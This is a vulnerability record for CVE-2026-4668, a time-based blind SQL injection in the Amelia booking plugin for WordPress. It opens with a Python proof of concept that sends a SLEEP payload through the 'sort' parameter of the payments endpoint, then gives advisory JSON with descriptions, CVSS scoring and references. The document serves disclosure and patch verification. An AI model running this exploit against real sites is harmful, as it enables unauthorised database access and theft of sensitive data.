CVE-2026-4668

# Proof of Concept for CVE-2026-4668 # Requires authenticated session with Manager role or higher import requests target_url = "https://example.com/wp-admin/admin-ajax.php" # Replace with valid authenticated cookies cookies = { "wordpress_logged_in_hash": "...", "wpamelia_security_token": "..." } # Vulnerable parameter 'sort' in payments listing endpoint # Payload attempts a time-based blind SQL injection (Sleep for 5 seconds) payload = "id,(SELECT SLEEP(5))" params = { "action": "wpamelia_api", "call": "/payments", "sort": payload } try: response = requests.get(target_url, params=params, cookies=cookies, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful.") else: print("[-] Injection failed or patched.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-4668", "sourceIdentifier": "[email protected]", "published": "2026-04-01T00:16:01.887", "lastModified": "2026-04-24T18:12:06.580", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to SQL Injection via the `sort` parameter in the payments listing endpoint in all versions up to, and including, 2.1.2. This is due to insufficient escaping on the user-supplied `sort` parameter and lack of sufficient preparation on the existing SQL query in `PaymentRepository.php`, where the sort field is interpolated directly into an ORDER BY clause without sanitization or whitelist validation. PDO prepared statements do not protect ORDER BY column names. GET requests also skip Amelia's nonce validation entirely. This makes it possible for authenticated attackers, with Manager-level (`wpamelia-manager`) access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection."}, {"lang": "es", "value": "El plugin Booking for Appointments and Events Calendar - Amelia para WordPress es vulnerable a inyección SQL a través del parámetro `sort` en el endpoint de listado de pagos en todas las versiones hasta la 2.1.2, inclusive. Esto se debe a un escape insuficiente en el parámetro `sort` proporcionado por el usuario y a la falta de preparación suficiente en la consulta SQL existente en `PaymentRepository.php`, donde el campo de ordenación se interpola directamente en una cláusula ORDER BY sin saneamiento o validación de lista blanca. Las sentencias preparadas de PDO no protegen los nombres de columna de ORDER BY. Las solicitudes GET también omiten por completo la validación nonce de Amelia. Esto hace posible que atacantes autenticados, con acceso de nivel de Gerente (`wpamelia-manager`) y superior, añadan consultas SQL adicionales en consultas ya existentes que pueden usarse para extraer información sensible de la base de datos a través de inyección SQL ciega basada en tiempo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ameliabooking/tags/2.1/src/Application/Commands/Payment/GetPaymentsCommandHandler.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ameliabooking/tags/2.1/src/Infrastructure/Repository/Payment/PaymentRepository.php#L623", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3488955/ameliabooking/trunk/src/Infrastructure/Repository/Payment/PaymentRepository.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/ameliabooking/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1bfc5467-6610-4516-8c50-d47d05e2677d?source=cve", "source": "[email protected]"}]}}